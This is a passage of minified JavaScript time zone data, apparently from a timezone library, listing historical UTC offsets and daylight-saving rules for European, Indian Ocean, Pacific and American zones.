SAMT"],"Europe/Simferopol":["2:16:24 - LMT 1880 2:16:24","2:16 - SMT 1924_4_2 2:16","2 - EET 1930_5_21 2","3 - MSK 1941_10 3","1 C-Eur CE%sT 1944_3_13 2","3 Russia MSK/MSD 1990 3","3 - MSK 1990_6_1_2 3","2 - EET 1992 2","2 E-Eur EE%sT 1994_4 3","3 E-Eur MSK/MSD 1996_2_31_3 3","4 - MSD 1996_9_27_3 3","3 Russia MSK/MSD 1997 3","3 - MSK 1997_2_30_1","2 EU EE%sT"],"Europe/Sofia":["1:33:16 - LMT 1880 1:33:16","1:56:56 - IMT 1894_10_30 1:56:56","2 - EET 1942_10_2_3 2","1 C-Eur CE%sT 1945 1","1 - CET 1945_3_2_3 1","2 - EET 1979_2_31_23 2","2 Bulg EE%sT 1982_8_26_2 3","2 C-Eur EE%sT 1991 2","2 E-Eur EE%sT 1997 2","2 EU EE%sT"],"Europe/Stockholm":["1:12:12 - LMT 1879_0_1 1:12:12","1:0:14 - SET 1900_0_1 1:0:14","1 - CET 1916_4_14_23 1","2 - CEST 1916_9_1_01 2","1 - CET 1980 1","1 EU CE%sT"],"Europe/Tallinn":["1:39 - LMT 1880 1:39","1:39 - TMT 1918_1 1:39","1 C-Eur CE%sT 1919_6 1","1:39 - TMT 1921_4 1:39","2 - EET 1940_7_6 2","3 - MSK 1941_8_15 3","1 C-Eur CE%sT 1944_8_22 2","3 Russia MSK/MSD 1989_2_26_2 3","3 - EEST 1989_8_24_2 2","2 C-Eur EE%sT 1998_8_22 3","2 EU EE%sT 1999_10_1 3","2 - EET 2002_1_21 2","2 EU EE%sT"],"Europe/Tirane":["1:19:20 - LMT 1914 1:19:20","1 - CET 1940_5_16 1","1 Albania CE%sT 1984_6 2","1 EU CE%sT"],"Europe/Uzhgorod":["1:29:12 - LMT 1890_9 1:29:12","1 - CET 1940 1","1 C-Eur CE%sT 1944_9 2","2 - CEST 1944_9_26 2","1 - CET 1945_5_29 1","3 Russia MSK/MSD 1990 3","3 - MSK 1990_6_1_2 3","1 - CET 1991_2_31_3 1","2 - EET 1992 2","2 E-Eur EE%sT 1995 2","2 EU EE%sT"],"Europe/Vaduz":["0:38:4 - LMT 1894_5 0:38:4","1 - CET 1981 1","1 EU CE%sT"],"Europe/Vienna":["1:5:21 - LMT 1893_3 1:5:21","1 C-Eur CE%sT 1920 1","1 Austria CE%sT 1940_3_1_2 1","1 C-Eur CE%sT 1945_3_2_2 1","2 - CEST 1945_3_12_2 1","1 - CET 1946 1","1 Austria CE%sT 1981 1","1 EU CE%sT"],"Europe/Vilnius":["1:41:16 - LMT 1880 1:41:16","1:24 - WMT 1917 1:24","1:35:36 - KMT 1919_9_10 1:35:36","1 - CET 1920_6_12 1","2 - EET 1920_9_9 2","1 - CET 1940_7_3 1","3 - MSK 1941_5_24 3","1 C-Eur CE%sT 1944_7 2","3 Russia MSK/MSD 1991_2_31_2 3","3 - EEST 1991_8_29_2 2","2 C-Eur EE%sT 1998 2","2 - EET 1998_2_29_1","1 EU CE%sT 1999_9_31_1","2 - EET 2003_0_1 2","2 EU EE%sT"],"Europe/Volgograd":["2:57:40 - LMT 1920_0_3 2:57:40","3 - TSAT 1925_3_6 3","3 - STAT 1930_5_21 3","4 - STAT 1961_10_11 4","4 Russia VOL%sT 1989_2_26_2 4","3 Russia VOL%sT 1991_2_31_2 3","4 - VOLT 1992_2_29_2 4","3 Russia VOL%sT 2011_2_27_2 3","4 - VOLT"],"Europe/Warsaw":["1:24 - LMT 1880 1:24","1:24 - WMT 1915_7_5 1:24","1 C-Eur CE%sT 1918_8_16_3 2","2 Poland EE%sT 1922_5 2","1 Poland CE%sT 1940_5_23_2 1","1 C-Eur CE%sT 1944_9 2","1 Poland CE%sT 1977 1","1 W-Eur CE%sT 1988 1","1 EU CE%sT"],"Europe/Zaporozhye":["2:20:40 - LMT 1880 2:20:40","2:20 - CUT 1924_4_2 2:20","2 - EET 1930_5_21 2","3 - MSK 1941_7_25 3","1 C-Eur CE%sT 1943_9_25 1","3 Russia MSK/MSD 1991_2_31_2 3","2 E-Eur EE%sT 1995 2","2 EU EE%sT"],"Indian/Antananarivo":["3:10:4 - LMT 1911_6 3:10:4","3 - EAT 1954_1_27_23 3","4 - EAST 1954_4_29_23 3","3 - EAT"],"Indian/Chagos":["4:49:40 - LMT 1907 4:49:40","5 - IOT 1996 5","6 - IOT"],"Indian/Christmas":["7:2:52 - LMT 1895_1 7:2:52","7 - CXT"],"Indian/Cocos":["6:27:40 - LMT 1900 6:27:40","6:30 - CCT"],"Indian/Comoro":["2:53:4 - LMT 1911_6 2:53:4","3 - EAT"],"Indian/Kerguelen":["0 - zzz 1950","5 - TFT"],"Indian/Mahe":["3:41:48 - LMT 1906_5 3:41:48","4 - SCT"],"Indian/Maldives":["4:54 - LMT 1880 4:54","4:54 - MMT 1960 4:54","5 - MVT"],"Indian/Mauritius":["3:50 - LMT 1907 3:50","4 Mauritius MU%sT"],"Indian/Mayotte":["3:0:56 - LMT 1911_6 3:0:56","3 - EAT"],"Indian/Reunion":["3:41:52 - LMT 1911_5 3:41:52","4 - RET"],"Pacific/Apia":["12:33:4 - LMT 1879_6_5 12:33:4","-11:26:56 - LMT 1911 -11:26:56","-11:30 - SAMT 1950 -11:30","-11 - WST 2010_8_26 -11","-10 - WSDT 2011_3_2_4 -10","-11 - WST 2011_8_24_3 -11","-10 - WSDT 2011_11_30 -10","14 - WSDT 2012_3_1_4 14","13 WS WS%sT"],"Pacific/Auckland":["11:39:4 - LMT 1868_10_2 11:39:4","11:30 NZ NZ%sT 1946_0_1 12","12 NZ NZ%sT"],"Pacific/Chatham":["12:13:48 - LMT 1957_0_1 12:13:48","12:45 Chatham CHA%sT"],"Pacific/Chuuk":["10:7:8 - LMT 1901 10:7:8","10 - CHUT"],"Pacific/Easter":["-7:17:44 - LMT 1890 -7:17:44","-7:17:28 - EMT 1932_8 -7:17:28","-7 Chile EAS%sT 1982_2_13_21 -6","-6 Chile EAS%sT"],"Pacific/Efate":["11:13:16 - LMT 1912_0_13 11:13:16","11 Vanuatu VU%sT"],"Pacific/Enderbury":["-11:24:20 - LMT 1901 -11:24:20","-12 - PHOT 1979_9 -12","-11 - PHOT 1995 -11","13 - PHOT"],"Pacific/Fakaofo":["-11:24:56 - LMT 1901 -11:24:56","-11 - TKT 2011_11_30 -11","13 - TKT"],"Pacific/Fiji":["11:55:44 - LMT 1915_9_26 11:55:44","12 Fiji FJ%sT"],"Pacific/Funafuti":["11:56:52 - LMT 1901 11:56:52","12 - TVT"],"Pacific/Galapagos":["-5:58:24 - LMT 1931 -5:58:24","-5 - ECT 1986 -5","-6 - GALT"],"Pacific/Gambier":["-8:59:48 - LMT 1912_9 -8:59:48","-9 - GAMT"],"Pacific/Guadalcanal":["10:39:48 - LMT 1912_9 10:39:48","11 - SBT"],"Pacific/Guam":["-14:21 - LMT 1844_11_31 -14:21","9:39 - LMT 1901 9:39","10 - GST 2000_11_23 10","10 - ChST"],"Pacific/Honolulu":["-10:31:26 - LMT 1896_0_13_12 -10:31:26","-10:30 - HST 1933_3_30_2 -10:30","-9:30 - HDT 1933_4_21_12 -9:30","-10:30 - HST 1942_1_09_2 -10:30","-9:30 - HDT 1945_8_30_2 -9:30","-10:30 - HST 1947_5_8_2 -10:30","-10 - HST"],"Pacific/Johnston":["-10 - HST"],"Pacific/Kiritimati":["-10:29:20 - LMT 1901 -10:29:20","-10:40 - LINT 1979_9 -10:40","-10 - LINT 1995 -10","14 - LINT"],"Pacific/Kosrae":["10:51:56 - LMT 1901 10:51:56","11 - KOST 1969_9 11","12 - KOST 1999 12","11 - KOST"],"Pacific/Kwajalein":["11:9:20 - LMT 1901 11:9:20","11 - MHT 1969_9 11","-12 - KWAT 1993_7_20 -12","12 - MHT"],"Pacific/Majuro":["11:24:48 - LMT 1901 11:24:48","11 - MHT 1969_9 11","12 - MHT"],"Pacific/Marquesas":["-9:18 - LMT 1912_9 -9:18","-9:30 - MART"],"Pacific/Midway":["-11:49:28 - LMT 1901 -11:49:28","-11 - NST 1956_5_3 -11","-10 - NDT 1956_8_2 -10","-11 - NST 1967_3 -11","-11 - BST 1983_10_30 -11","-11 - SST"],"Pacific/Nauru":["11:7:40 - LMT 1921_0_15 11:7:40","11:30 - NRT 1942_2_15 11:30","9 - JST 1944_7_15 9","11:30 - NRT 1979_4 11:30","12 - NRT"],"Pacific/Niue":["-11:19:40 - LMT 1901 -11:19:40","-11:20 - NUT 1951 -11:20","-11:30 - NUT 1978_9_1 -11:30","-11 - NUT"],"Pacific/Norfolk":["11:11:52 - LMT 1901 11:11:52","11:12 - NMT 1951 11:12","11:30 - NFT"],"Pacific/Noumea":["11:5:48 - LMT 1912_0_13 11:5:48","11 NC NC%sT"],"Pacific/Pago_Pago":["12:37:12 - LMT 1879_6_5 12:37:12","-11:22:48 - LMT 1911 -11:22:48","-11:30 - SAMT 1950 -11:30","-11 - NST 1967_3 -11","-11 - BST 1983_10_30 -11","-11 - SST"],"Pacific/Palau":["8:57:56 - LMT 1901 8:57:56","9 - PWT"],"Pacific/Pitcairn":["-8:40:20 - LMT 1901 -8:40:20","-8:30 - PNT 1998_3_27_00 -8:30","-8 - PST"],"Pacific/Pohnpei":["10:32:52 - LMT 1901 10:32:52","11 - PONT"],"Pacific/Port_Moresby":["9:48:40 - LMT 1880 9:48:40","9:48:32 - PMMT 1895 9:48:32","10 - PGT"],"Pacific/Rarotonga":["-10:39:4 - LMT 1901 -10:39:4","-10:30 - CKT 1978_10_12 -10:30","-10 Cook CK%sT"],"Pacific/Saipan":["-14:17 - LMT 1844_11_31 -14:17","9:43 - LMT 1901 9:43","9 - MPT 1969_9 9","10 - MPT 2000_11_23 10","10 - ChST"],"Pacific/Tahiti":["-9:58:16 - LMT 1912_9 -9:58:16","-10 - TAHT"],"Pacific/Tarawa":["11:32:4 - LMT 1901 11:32:4","12 - GILT"],"Pacific/Tongatapu":["12:19:20 - LMT 1901 12:19:20","12:20 - TOT 1941 12:20","13 - TOT 1999 13","13 Tonga TO%sT"],"Pacific/Wake":["11:6:28 - LMT 1901 11:6:28","12 - WAKT"],"Pacific/Wallis":["12:15:20 - LMT 1901 12:15:20","12 - WFT"]},rules:{Ghana:["1936 1942 8 1 7 0 0 0:20 GHST","1936 1942 11 31 7 0 0 0 GMT"],Algeria:["1916 1916 5 14 7 23 2 1 S","1916 1919 9 1 0 23 2 0","1917 1917 2 24 7 23 2 1 S","1918 1918 2 9 7 23 2 1 S","1919 1919 2 1 7 23 2 1 S","1920 1920 1 14 7 23 2 1 S","1920 1920 9 23 7 23 2 0","1921 1921 2 14 7 23 2 1 S","1921 1921 5 21 7 23 2 0","1939 1939 8 11 7 23 2 1 S","1939 1939 10 19 7 1 0 0","1944 1945 3 1 1 2 0 1 S","1944 1944 9 8 7 2 0 0","1945 1945 8 16 7 1 0 0","1971 1971 3 25 7 23 2 1 S","1971 1971 8 26 7 23 2 0","1977 1977 4 6 7 0 0 1 S","1977 1977 9 21 7 0 0 0","1978 1978 2 24 7 1 0 1 S","1978 1978 8 22 7 3 0 0","1980 1980 3 25 7 0 0 1 S","1980 1980 9 31 7 2 0 0"],Egypt:["1940 1940 6 15 7 0 0 1 S","1940 1940 9 1 7 0 0 0","1941 1941 3 15 7 0 0 1 S","1941 1941 8 16 7 0 0 0","1942 1944 3 1 7 0 0 1 S","1942 1942 9 27 7 0 0 0","1943 1945 10 1 7 0 0 0","1945 1945 3 16 7 0 0 1 S","1957 1957 4 10 7 0 0 1 S","1957 1958 9 1 7 0 0 0","1958 1958 4 1 7 0 0 1 S","1959 1981 4 1 7 1 0 1 S","1959 1965 8 30 7 3 0 0","1966 1994 9 1 7 3 0 0","1982 1982 6 25 7 1 0 1 S","1983 1983 6 12 7 1 0 1 S","1984 1988 4 1 7 1 0 1 S","1989 1989 4 6 7 1 0 1 S","1990 1994 4 1 7 1 0 1 S","1995 2010 3 5 8 0 2 1 S","1995 2005 8 4 8 23 2 0","2006 2006 8 21 7 23 2 0","2007 2007 8 1 4 23 2 0","2008 2008 7 4 8 23 2 0","2009 2009 7 20 7 23 2 0","2010 2010 7 11 7 0 0 0","2010 2010 8 10 7 0 0 1 S","2010 2010 8 4 8 23 2 0"],Morocco:["1939 1939 8 12 7 0 0 1 S","1939 1939 10 19 7 0 0 0","1940 1940 1 25 7 0 0 1 S","1945 1945 10 18 7 0 0 0","1950 1950 5 11 7 0 0 1 S","1950 1950 9 29 7 0 0 0","1967 1967 5 3 7 12 0 1 S","1967 1967 9 1 7 0 0 0","1974 1974 5 24 7 0 0 1 S","1974 1974 8 1 7 0 0 0","1976 1977 4 1 7 0 0 1 S","1976 1976 7 1 7 0 0 0","1977 1977 8 28 7 0 0 0","1978 1978 5 1 7 0 0 1 S","1978 1978 7 4 7 0 0 0","2008 2008 5 1 7 0 0 1 S","2008 2008 8 1 7 0 0 0","2009 2009 5 1 7 0 0 1 S","2009 2009 7 21 7 0 0 0","2010 2010 4 2 7 0 0 1 S","2010 2010 7 8 7 0 0 0","2011 2011 3 3 7 0 0 1 S","2011 2011 6 31 7 0 0 0","2012 2019 3 0 8 2 0 1 S","2012 9999 8 0 8 3 0 0","2012 2012 6 20 7 3 0 0","2012 2012 7 20 7 2 0 1 S","2013 2013 6 9 7 3 0 0","2013 2013 7 8 7 2 0 1 S","2014 2014 5 29 7 3 0 0","2014 2014 6 29 7 2 0 1 S","2015 2015 5 18 7 3 0 0","2015 2015 6 18 7 2 0 1 S","2016 2016 5 7 7 3 0 0","2016 2016 6 7 7 2 0 1 S","2017 2017 4 27 7 3 0 0","2017 2017 5 26 7 2 0 1 S","2018 2018 4 16 7 3 0 0","2018 2018 5 15 7 2 0 1 S","2019 2019 4 6 7 3 0 0","2019 2019 5 5 7 2 0 1 S","2020 2020 4 24 7 2 0 1 S","2021 2021 4 13 7 2 0 1 S","2022 2022 4 3 7 2 0 1 S","2023 9999 3 0 8 2 0 1 S"],Spain:["1917 1917 4 5 7 23 2 1 S","1917 1919 9 6 7 23 2 0","1918 1918 3 15 7 23 2 1 S","1919 1919 3 5 7 23 2 1 S","1924 1924 3 16 7 23 2 1 S","1924 1924 9 4 7 23 2 0","1926 1926 3 17 7 23 2 1 S","1926 1929 9 1 6 23 2 0","1927 1927 3 9 7 23 2 1 S","1928 1928 3 14 7 23 2 1 S","1929 1929 3 20 7 23 2 1 S","1937 1937 4 22 7 23 2 1 S","1937 1939 9 1 6 23 2 0","1938 1938 2 22 7 23 2 1 S","1939 1939 3 15 7 23 2 1 S","1940 1940 2 16 7 23 2 1 S","1942 1942 4 2 7 22 2 2 M","1942 1942 8 1 7 22 2 1 S","1943 1946 3 13 6 22 2 2 M","1943 1943 9 3 7 22 2 1 S","1944 1944 9 10 7 22 2 1 S","1945 1945 8 30 7 1 0 1 S","1946 1946 8 30 7 0 0 0","1949 1949 3 30 7 23 0 1 S","1949 1949 8 30 7 1 0 0","1974 1975 3 13 6 23 0 1 S","1974 1975 9 1 0 1 0 0","1976 1976 2 27 7 23 0 1 S","1976 1977 8 0 8 1 0 0","1977 1978 3 2 7 23 0 1 S","1978 1978 9 1 7 1 0 0"],SpainAfrica:["1967 1967 5 3 7 12 0 1 S","1967 1967 9 1 7 0 0 0","1974 1974 5 24 7 0 0 1 S","1974 1974 8 1 7 0 0 0","1976 1977 4 1 7 0 0 1 S","1976 1976 7 1 7 0 0 0","1977 1977 8 28 7 0 0 0","1978 1978 5 1 7 0 0 1 S","1978 1978 7 4 7 0 0 0"],EU:["1977 1980 3 1 0 1 1 1 S","1977 1977 8 0 8 1 1 0","1978 1978 9 1 7 1 1 0","1979 1995 8 0 8 1 1 0","1981 9999 2 0 8 1 1 1 S","1996 9999 9 0 8 1 1 0"],SL:["1935 1942 5 1 7 0 0 0:40 SLST","1935 1942 9 1 7 0 0 0 WAT","1957 1962 5 1 7 0 0 1 SLST","1957 1962 8 1 7 0 0 0 GMT"],SA:["1942 1943 8 15 0 2 0 1","1943 1944 2 15 0 2 0 0"],Sudan:["1970 1970 4 1 7 0 0 1 S","1970 1985 9 15 7 0 0 0","1971 1971 3 30 7 0 0 1 S","1972 1985 3 0 8 0 0 1 S"],Libya:["1951 1951 9 14 7 2 0 1 S","1952 1952 0 1 7 0 0 0","1953 1953 9 9 7 2 0 1 S","1954 1954 0 1 7 0 0 0","1955 1955 8 30 7 0 0 1 S","1956 1956 0 1 7 0 0 0","1982 1984 3 1 7 0 0 1 S","1982 1985 9 1 7 0 0 0","1985 1985 3 6 7 0 0 1 S","1986 1986 3 4 7 0 0 1 S","1986 1986 9 3 7 0 0 0","1987 1989 3 1 7 0 0 1 S","1987 1989 9 1 7 0 0 0","1997 1997 3 4 7 0 0 1 S","1997 1997 9 4 7 0 0 0","2013 9999 2 5 8 1 0 1 S","2013 9999 9 5 8 2 0 0"],Tunisia:["1939 1939 3 15 7 23 2 1 S","1939 1939 10 18 7 23 2 0","1940 1940 1 25 7 23 2 1 S","1941 1941 9 6 7 0 0 0","1942 1942 2 9 7 0 0 1 S","1942 1942 10 2 7 3 0 0","1943 1943 2 29 7 2 0 1 S","1943 1943 3 17 7 2 0 0","1943 1943 3 25 7 2 0 1 S","1943 1943 9 4 7 2 0 0","1944 1945 3 1 1 2 0 1 S","1944 1944 9 8 7 0 0 0","1945 1945 8 16 7 0 0 0","1977 1977 3 30 7 0 2 1 S","1977 1977 8 24 7 0 2 0","1978 1978 4 1 7 0 2 1 S","1978 1978 9 1 7 0 2 0","1988 1988 5 1 7 0 2 1 S","1988 1990 8 0 8 0 2 0","1989 1989 2 26 7 0 2 1 S","1990 1990 4 1 7 0 2 1 S","2005 2005 4 1 7 0 2 1 S","2005 2005 8 30 7 1 2 0","2006 2008 2 0 8 2 2 1 S","2006 2008 9 0 8 2 2 0"],Namibia:["1994 9999 8 1 0 2 0 1 S","1995 9999 3 1 0 2 0 0"],US:["1918 1919 2 0 8 2 0 1 D","1918 1919 9 0 8 2 0 0 S","1942 1942 1 9 7 2 0 1 W","1945 1945 7 14 7 23 1 1 P","1945 1945 8 30 7 2 0 0 S","1967 2006 9 0 8 2 0 0 S","1967 1973 3 0 8 2 0 1 D","1974 1974 0 6 7 2 0 1 D","1975 1975 1 23 7 2 0 1 D","1976 1986 3 0 8 2 0 1 D","1987 2006 3 1 0 2 0 1 D","2007 9999 2 8 0 2 0 1 D","2007 9999 10 1 0 2 0 0 S"], Brazil:["1931 1931 9 3 7 11 0 1 S","1932 1933 3 1 7 0 0 0","1932 1932 9 3 7 0 0 1 S","1949 1952 11 1 7 0 0 1 S","1950 1950 3 16 7 1 0 0","1951 1952 3 1 7 0 0 0","1953 1953 2 1 7 0 0 0","1963 1963 11 9 7 0 0 1 S","1964 1964 2 1 7 0 0 0","1965 1965 0 31 7 0 0 1 S","1965 1965 2 31 7 0 0 0","1965 1965 11 1 7 0 0 1 S","1966 1968 2 1 7 0 0 0","1966 1967 10 1 7 0 0 1 S","1985 1985 10 2 7 0 0 1 S","1986 1986 2 15 7 0 0 0","1986 1986 9 25 7 0 0 1 S","1987 1987 1 14 7 0 0 0","1987 1987 9 25 7 0 0 1 S","1988 1988 1 7 7 0 0 0","1988 1988 9 16 7 0 0 1 S","1989 1989 0 29 7 0 0 0","1989 1989 9 15 7 0 0 1 S","1990 1990 1 11 7 0 0 0","1990 1990 9 21 7 0 0 1 S","1991 1991 1 17 7 0 0 0","1991 1991 9 20 7 0 0 1 S","1992 1992 1 9 7 0 0 0","1992 1992 9 25 7 0 0 1 S","1993 1993 0 31 7 0 0 0","1993 1995 9 11 0 0 0 1 S","1994 1995 1 15 0 0 0 0","1996 1996 1 11 7 0 0 0","1996 1996 9 6 7 0 0 1 S","1997 1997 1 16 7 0 0 0","1997 1997 9 6 7 0 0 1 S","1998 1998 2 1 7 0 0 0","1998 1998 9 11 7 0 0 1 S","1999 1999 1 21 7 0 0 0","1999 1999 9 3 7 0 0 1 S","2000 2000 1 27 7 0 0 0","2000 2001 9 8 0 0 0 1 S","2001 2006 1 15 0 0 0 0","2002 2002 10 3 7 0 0 1 S","2003 2003 9 19 7 0 0 1 S","2004 2004 10 2 7 0 0 1 S","2005 2005 9 16 7 0 0 1 S","2006 2006 10 5 7 0 0 1 S","2007 2007 1 25 7 0 0 0","2007 2007 9 8 0 0 0 1 S","2008 9999 9 15 0 0 0 1 S","2008 2011 1 15 0 0 0 0","2012 2012 1 22 0 0 0 0","2013 2014 1 15 0 0 0 0","2015 2015 1 22 0 0 0 0","2016 2022 1 15 0 0 0 0","2023 2023 1 22 0 0 0 0","2024 2025 1 15 0 0 0 0","2026 2026 1 22 0 0 0 0","2027 2033 1 15 0 0 0 0","2034 2034 1 22 0 0 0 0","2035 2036 1 15 0 0 0 0","2037 2037 1 22 0 0 0 0","2038 9999 1 15 0 0 0 0"],Arg:["1930 1930 11 1 7 0 0 1 S","1931 1931 3 1 7 0 0 0","1931 1931 9 15 7 0 0 1 S","1932 1940 2 1 7 0 0 0","1932 1939 10 1 7 0 0 1 S","1940 1940 6 1 7 0 0 1 S","1941 1941 5 15 7 0 0 0","1941 1941 9 15 7 0 0 1 S","1943 1943 7 1 7 0 0 0","1943 1943 9 15 7 0 0 1 S","1946 1946 2 1 7 0 0 0","1946 1946 9 1 7 0 0 1 S","1963 1963 9 1 7 0 0 0","1963 1963 11 15 7 0 0 1 S","1964 1966 2 1 7 0 0 0","1964 1966 9 15 7 0 0 1 S","1967 1967 3 2 7 0 0 0","1967 1968 9 1 0 0 0 1 S","1968 1969 3 1 0 0 0 0","1974 1974 0 23 7 0 0 1 S","1974 1974 4 1 7 0 0 0","1988 1988 11 1 7 0 0 1 S","1989 1993 2 1 0 0 0 0","1989 1992 9 15 0 0 0 1 S","1999 1999 9 1 0 0 0 1 S","2000 2000 2 3 7 0 0 0","2007 2007 11 30 7 0 0 1 S","2008 2009 2 15 0 0 0 0","2008 2008 9 15 0 0 0 1 S"],SanLuis:["2008 2009 2 8 0 0 0 0","2007 2009 9 8 0 0 0 1 S"],Para:["1975 1988 9 1 7 0 0 1 S","1975 1978 2 1 7 0 0 0","1979 1991 3 1 7 0 0 0","1989 1989 9 22 7 0 0 1 S","1990 1990 9 1 7 0 0 1 S","1991 1991 9 6 7 0 0 1 S","1992 1992 2 1 7 0 0 0","1992 1992 9 5 7 0 0 1 S","1993 1993 2 31 7 0 0 0","1993 1995 9 1 7 0 0 1 S","1994 1995 1 0 8 0 0 0","1996 1996 2 1 7 0 0 0","1996 2001 9 1 0 0 0 1 S","1997 1997 1 0 8 0 0 0","1998 2001 2 1 0 0 0 0","2002 2004 3 1 0 0 0 0","2002 2003 8 1 0 0 0 1 S","2004 2009 9 15 0 0 0 1 S","2005 2009 2 8 0 0 0 0","2010 9999 9 1 0 0 0 1 S","2010 2012 3 8 0 0 0 0","2013 9999 2 22 0 0 0 0"],Canada:["1918 1918 3 14 7 2 0 1 D","1918 1918 9 27 7 2 0 0 S","1942 1942 1 9 7 2 0 1 W","1945 1945 7 14 7 23 1 1 P","1945 1945 8 30 7 2 0 0 S","1974 1986 3 0 8 2 0 1 D","1974 2006 9 0 8 2 0 0 S","1987 2006 3 1 0 2 0 1 D","2007 9999 2 8 0 2 0 1 D","2007 9999 10 1 0 2 0 0 S"],Mexico:["1939 1939 1 5 7 0 0 1 D","1939 1939 5 25 7 0 0 0 S","1940 1940 11 9 7 0 0 1 D","1941 1941 3 1 7 0 0 0 S","1943 1943 11 16 7 0 0 1 W","1944 1944 4 1 7 0 0 0 S","1950 1950 1 12 7 0 0 1 D","1950 1950 6 30 7 0 0 0 S","1996 2000 3 1 0 2 0 1 D","1996 2000 9 0 8 2 0 0 S","2001 2001 4 1 0 2 0 1 D","2001 2001 8 0 8 2 0 0 S","2002 9999 3 1 0 2 0 1 D","2002 9999 9 0 8 2 0 0 S"],Barb:["1977 1977 5 12 7 2 0 1 D","1977 1978 9 1 0 2 0 0 S","1978 1980 3 15 0 2 0 1 D","1979 1979 8 30 7 2 0 0 S","1980 1980 8 25 7 2 0 0 S"],Belize:["1918 1942 9 2 0 0 0 0:30 HD","1919 1943 1 9 0 0 0 0 S","1973 1973 11 5 7 0 0 1 D","1974 1974 1 9 7 0 0 0 S","1982 1982 11 18 7 0 0 1 D","1983 1983 1 12 7 0 0 0 S"],CO:["1992 1992 4 3 7 0 0 1 S","1993 1993 3 4 7 0 0 0"],NT_YK:["1918 1918 3 14 7 2 0 1 D","1918 1918 9 27 7 2 0 0 S","1919 1919 4 25 7 2 0 1 D","1919 1919 10 1 7 0 0 0 S","1942 1942 1 9 7 2 0 1 W","1945 1945 7 14 7 23 1 1 P","1945 1945 8 30 7 2 0 0 S","1965 1965 3 0 8 0 0 2 DD","1965 1965 9 0 8 2 0 0 S","1980 1986 3 0 8 2 0 1 D","1980 2006 9 0 8 2 0 0 S","1987 2006 3 1 0 2 0 1 D"],Chicago:["1920 1920 5 13 7 2 0 1 D","1920 1921 9 0 8 2 0 0 S","1921 1921 2 0 8 2 0 1 D","1922 1966 3 0 8 2 0 1 D","1922 1954 8 0 8 2 0 0 S","1955 1966 9 0 8 2 0 0 S"],CR:["1979 1980 1 0 8 0 0 1 D","1979 1980 5 1 0 0 0 0 S","1991 1992 0 15 6 0 0 1 D","1991 1991 6 1 7 0 0 0 S","1992 1992 2 15 7 0 0 0 S"],Vanc:["1918 1918 3 14 7 2 0 1 D","1918 1918 9 27 7 2 0 0 S","1942 1942 1 9 7 2 0 1 W","1945 1945 7 14 7 23 1 1 P","1945 1945 8 30 7 2 0 0 S","1946 1986 3 0 8 2 0 1 D","1946 1946 9 13 7 2 0 0 S","1947 1961 8 0 8 2 0 0 S","1962 2006 9 0 8 2 0 0 S"],Denver:["1920 1921 2 0 8 2 0 1 D","1920 1920 9 0 8 2 0 0 S","1921 1921 4 22 7 2 0 0 S","1965 1966 3 0 8 2 0 1 D","1965 1966 9 0 8 2 0 0 S"],Detroit:["1948 1948 3 0 8 2 0 1 D","1948 1948 8 0 8 2 0 0 S","1967 1967 5 14 7 2 0 1 D","1967 1967 9 0 8 2 0 0 S"],Edm:["1918 1919 3 8 0 2 0 1 D","1918 1918 9 27 7 2 0 0 S","1919 1919 4 27 7 2 0 0 S","1920 1923 3 0 8 2 0 1 D","1920 1920 9 0 8 2 0 0 S","1921 1923 8 0 8 2 0 0 S","1942 1942 1 9 7 2 0 1 W","1945 1945 7 14 7 23 1 1 P","1945 1945 8 0 8 2 0 0 S","1947 1947 3 0 8 2 0 1 D","1947 1947 8 0 8 2 0 0 S","1967 1967 3 0 8 2 0 1 D","1967 1967 9 0 8 2 0 0 S","1969 1969 3 0 8 2 0 1 D","1969 1969 9 0 8 2 0 0 S","1972 1986 3 0 8 2 0 1 D","1972 2006 9 0 8 2 0 0 S"],Salv:["1987 1988 4 1 0 0 0 1 D","1987 1988 8 0 8 0 0 0 S"],Halifax:["1916 1916 3 1 7 0 0 1 D","1916 1916 9 1 7 0 0 0 S","1920 1920 4 9 7 0 0 1 D","1920 1920 7 29 7 0 0 0 S","1921 1921 4 6 7 0 0 1 D","1921 1922 8 5 7 0 0 0 S","1922 1922 3 30 7 0 0 1 D","1923 1925 4 1 0 0 0 1 D","1923 1923 8 4 7 0 0 0 S","1924 1924 8 15 7 0 0 0 S","1925 1925 8 28 7 0 0 0 S","1926 1926 4 16 7 0 0 1 D","1926 1926 8 13 7 0 0 0 S","1927 1927 4 1 7 0 0 1 D","1927 1927 8 26 7 0 0 0 S","1928 1931 4 8 0 0 0 1 D","1928 1928 8 9 7 0 0 0 S","1929 1929 8 3 7 0 0 0 S","1930 1930 8 15 7 0 0 0 S","1931 1932 8 24 1 0 0 0 S","1932 1932 4 1 7 0 0 1 D","1933 1933 3 30 7 0 0 1 D","1933 1933 9 2 7 0 0 0 S","1934 1934 4 20 7 0 0 1 D","1934 1934 8 16 7 0 0 0 S","1935 1935 5 2 7 0 0 1 D","1935 1935 8 30 7 0 0 0 S","1936 1936 5 1 7 0 0 1 D","1936 1936 8 14 7 0 0 0 S","1937 1938 4 1 0 0 0 1 D","1937 1941 8 24 1 0 0 0 S","1939 1939 4 28 7 0 0 1 D","1940 1941 4 1 0 0 0 1 D","1946 1949 3 0 8 2 0 1 D","1946 1949 8 0 8 2 0 0 S","1951 1954 3 0 8 2 0 1 D","1951 1954 8 0 8 2 0 0 S","1956 1959 3 0 8 2 0 1 D","1956 1959 8 0 8 2 0 0 S","1962 1973 3 0 8 2 0 1 D","1962 1973 9 0 8 2 0 0 S"],StJohns:["1917 1917 3 8 7 2 0 1 D","1917 1917 8 17 7 2 0 0 S","1919 1919 4 5 7 23 0 1 D","1919 1919 7 12 7 23 0 0 S","1920 1935 4 1 0 23 0 1 D","1920 1935 9 0 8 23 0 0 S","1936 1941 4 9 1 0 0 1 D","1936 1941 9 2 1 0 0 0 S","1946 1950 4 8 0 2 0 1 D","1946 1950 9 2 0 2 0 0 S","1951 1986 3 0 8 2 0 1 D","1951 1959 8 0 8 2 0 0 S","1960 1986 9 0 8 2 0 0 S","1987 1987 3 1 0 0:1 0 1 D","1987 2006 9 0 8 0:1 0 0 S","1988 1988 3 1 0 0:1 0 2 DD","1989 2006 3 1 0 0:1 0 1 D","2007 2011 2 8 0 0:1 0 1 D","2007 2010 10 1 0 0:1 0 0 S"],TC:["1979 1986 3 0 8 2 0 1 D","1979 2006 9 0 8 2 0 0 S","1987 2006 3 1 0 2 0 1 D","2007 9999 2 8 0 2 0 1 D","2007 9999 10 1 0 2 0 0 S"],Guat:["1973 1973 10 25 7 0 0 1 D","1974 1974 1 24 7 0 0 0 S","1983 1983 4 21 7 0 0 1 D","1983 1983 8 22 7 0 0 0 S","1991 1991 2 23 7 0 0 